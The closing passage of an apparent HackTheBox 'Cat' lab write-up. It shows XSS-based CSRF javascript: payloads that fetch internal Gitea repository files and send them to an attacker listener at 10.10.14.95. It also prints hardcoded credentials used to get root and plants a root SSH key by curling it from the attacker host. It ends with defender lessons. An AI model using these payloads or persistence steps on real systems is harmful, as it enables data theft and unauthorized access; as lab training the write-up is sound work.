To url-decode this, I’ll just use sed:
URLENCODED='%3C!DOCTYPE%20html%3E%0A%3Chtml%20lang%3D%22en-US%22%20data-theme%3D%22gitea-auto%22...%2Fhtml%3E%0A%0A'
echo $URLENCODED | sed 's/%/\\x/g' | xargs -0 printf > decoded.html
firefox decoded.html

😁 It worked!
Trying the CSRF against jobert
Let’s try this same idea against the actual target now:
It is important to CSRF your cats every day!
<a href="javascript:const tgturl='http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md';const exfil='http://10.10.14.95:8000/?b64=';fetch(tgturl).then(response=>{return response.text();}).then(text => {const b64=btoa(encodeURIComponent(text)).replace(/\+/g, '-').replace(/\//g, '_').replace(/=/g, '');fetch(exfil+b64);})">link</a>
Then I’ll send an email to jobert as usual:

After a moment, we see the response at our HTTP listener - the CSRF worked!

URLENCODED='%23%20Employee%20Management%0ASite%20under%20construction.%20Authorized%20user%3A%20admin.%20No%20visibility%20or%20updates%20visible%20to%20employees.'
echo $URLENCODED | sed 's/%/\\x/g' | xargs -0 printf > ~/Box_Notes/Cat/source/README.md
vim ~/Box_Notes/Cat/source/README.md

That’s not as helpful as I would have hoped 👀
Getting a directory listing
Since the README.md file is pretty useless, maybe I’ll check the main page of the repo, as kind of a de-facto directory listing?
It is important to CSRF your cats every day!
<a href="javascript:const tgturl='http://localhost:3000/administrator/Employee-management';const exfil='http://10.10.14.95:8000/?b64=';fetch(tgturl).then(response=>{return response.text();}).then(text => {const b64=btoa(encodeURIComponent(text)).replace(/\+/g, '-').replace(/\//g, '_').replace(/=/g, '');fetch(exfil+b64);})">link</a>
💀 The result was devastating:
10.129.131.44 - - [05/Feb/2025 17:07:22] code 414, message Request-URI Too Long
The URI is too long for a GET request! How about sending it as a POST instead? This is basically the same request as above, except it sends the b64 variable as x-www-form-urlencoded data instead:
const tgturl = 'http://localhost:3000/administrator/Employee-management';
const exfil = 'http://10.10.14.95:8000/';
fetch(tgturl)
.then(response => response.text())
.then(text => {
const b64 = btoa(encodeURIComponent(text)).replace(/\+/g, '-').replace(/\//g, '_').replace(/=/g, '');
const params = new URLSearchParams();
params.append('b64', b64);
fetch(exfil, {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: params.toString()
});
});
I’ll do the same as before - wrap the payload into an tag, set that as the Description of a new repo, then send jobert an email telling them to visit the repo.
And it worked!

I tried my usual tricks for url-decoding the body, but nothing I could do in bash seemed to actually work. Thankfully, it worked right away when I popped it into Cyberchef:

Using the Save Output feature of Cyberchef, I grabbed a copy of the resultant HTML and opened it locally in a web browser:

🎉 Nice! Now we have a list of files to check out. Since there’s a logout.php but no login.php (or authentication.php or whatever), it’s likely that any auth mechanism is within index.php, so I’ll get a copy of that next:
It is important to CSRF your cats every day!
<a href="javascript:const tgturl='/administrator/Employee-management/raw/branch/main/index.php';const exfil='http://10.10.14.95:8000/?b64=';fetch(tgturl).then( response => {return response.text();}).then(text => {const b64=btoa(encodeURIComponent(text)).replace(/\+/g, '-').replace(/\//g, '_').replace(/=/g, '');fetch(exfil+b64);})">link</a>
Using exactly the same procedure as earlier (new repo, set Description, email jobert, watch HTTP listener), I got a result:

This is much shorter, so I can just url-decode using sed:
URLENCODED='%3C%3Fphp%0A%24valid_username%20%3D%20'admin'...dashboard.php')%3B%0Aexit%3B%0A%3F%3E%0A%0A'
echo $URLENCODED | sed 's/%/\\x/g' | xargs -0 printf > ./index.php
cat ./index.php
<?php
$valid_username = admin;
$valid_password = IKw75eR0MR7CMIxhH0;
if (!isset($_SERVER[PHP_AUTH_USER]) || !isset($_SERVER[PHP_AUTH_PW]) ||
$_SERVER[PHP_AUTH_USER] != $valid_username || $_SERVER[PHP_AUTH_PW] != $valid_password) {
header(WWW-Authenticate: Basic realm="Employee Management");
header(HTTP/1.0 401 Unauthorized);
exit;
}
header(Location: dashboard.php);
exit;
?>
😮 There’s some hardcoded credentials in there! Let’s try them out for credential re-use:
ssh jobert@cat.htb # Nope
ssh root@cat.htb # Nope
Gitea as 'administrator' # Nope
su jobert # Nope
su root # YEP!!
🌮 🐱 YES! We have the root password:

We’ve now completed the box 😀
CLEANUP
Target
I’ll get rid of the spot where I place my tools, /tmp/.Tools:
rm -rf /tmp/.Tools
Attacker
There’s also a little cleanup to do on my local / attacker machine. It’s a good idea to get rid of any “loot” and source code I collected that didn’t end up being useful, just to save disk space:
rm -rf ./source/cat.htb
It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw rules:
NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;
EXTRA CREDIT
Planting root SSH key
We already have the root password, but we can’t login remotely as root without using axel first. Let’s “fix” that by planting an SSH key.
First, on our attacker machine, we’ll generate a keypair and put the pubkey on the HTTP server:
ssh-keygen -t rsa -b 1024 -N 'duckyDUCKYducky' -f root_id_rsa
cp root_id_rsa.pub ../www
On the target as root, we can simply curl the pubkey into place:
curl -s http://10.10.14.95:8000/root_id_rsa.pub >> /root/.ssh/authorized_keys
From the attacker host, we should be able to connect now as root directly:
ssh -i ./root_id_rsa root@cat.htb # duckyDUCKYducky

All good! Now we can let ourselves in gracefully, if we want.
LESSONS LEARNED

Attacker
💻 Use Pwnbox when your connection is poor but need to do time-based blind SQLi. I was stuck on the foothold for quite a while because of this issue. Thankfully, I eventually came to my senses and switched over to Pwnbox to perform the SQLi step. After switching, things worked without too much fuss. Note: I’ve also had this problem (and solution) for doing XXEs.
👥 Check every group that a user is in, when you pivot to a user. On this box, I quickly saw that
rosawas in theadmgroup, and checked what kind of extra access that afforded me. As soon as I saw the list of files thatadmcould read, I made a list of items to investigate.🍪 Don’t bother trying to steal HttpOnly cookies. I wasted an embarrassing amount of time during the Root Flag part of this box trying to steal the
administratorsession cookie in Gitea. I should have checked a LOT sooner what the cookie properties were. If theHttpOnlyproperty is enabled, the cookie cannot be read with javascript.🏄 XSS can be extended into CSRF This box was an excellent demonstration that there is a lot more you can do with XSS than simple session hijacking. Good CSRF be extremely dangerous in the right hands. For instance, the first thing I checked for on this box was accessing the Gitea API as
adminstrator(Unfortunately,administratordidn’t seem to have an API token in use)

Defender
💉 Always use prepared statements in every database interaction of a web app. This box had stacked queries disabled (which is default), but failed to use prepared statements in every query. The
accept_cat.phpINSERT statement, which used user-controllable inputs, failed to use a prepared statement. When you’re dealing with SQL, stay vigilant!#️⃣ If you must use HTTP for a web app, be sure to at least use client-side hashing of credentials. I would consider this “bare minimum” security. It also adds one degree of separation between user accounts anyone that can view access logs. On this box,
rosawas (carelessly?) granted permissions to the access logs, and we were able to watch passwords being sent in plaintext… not even MD5 hashing!🛀 Sanitize, even if it came from the database. You could consider this as “defence-in-depth” because, as long as you properly sanitized user inputs, this shouldn’t be an issue right? It still can be an issue, in some edge cases. It is best to treat the data queried from a database as “tainted” and always sanitize at query-time, too!
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake

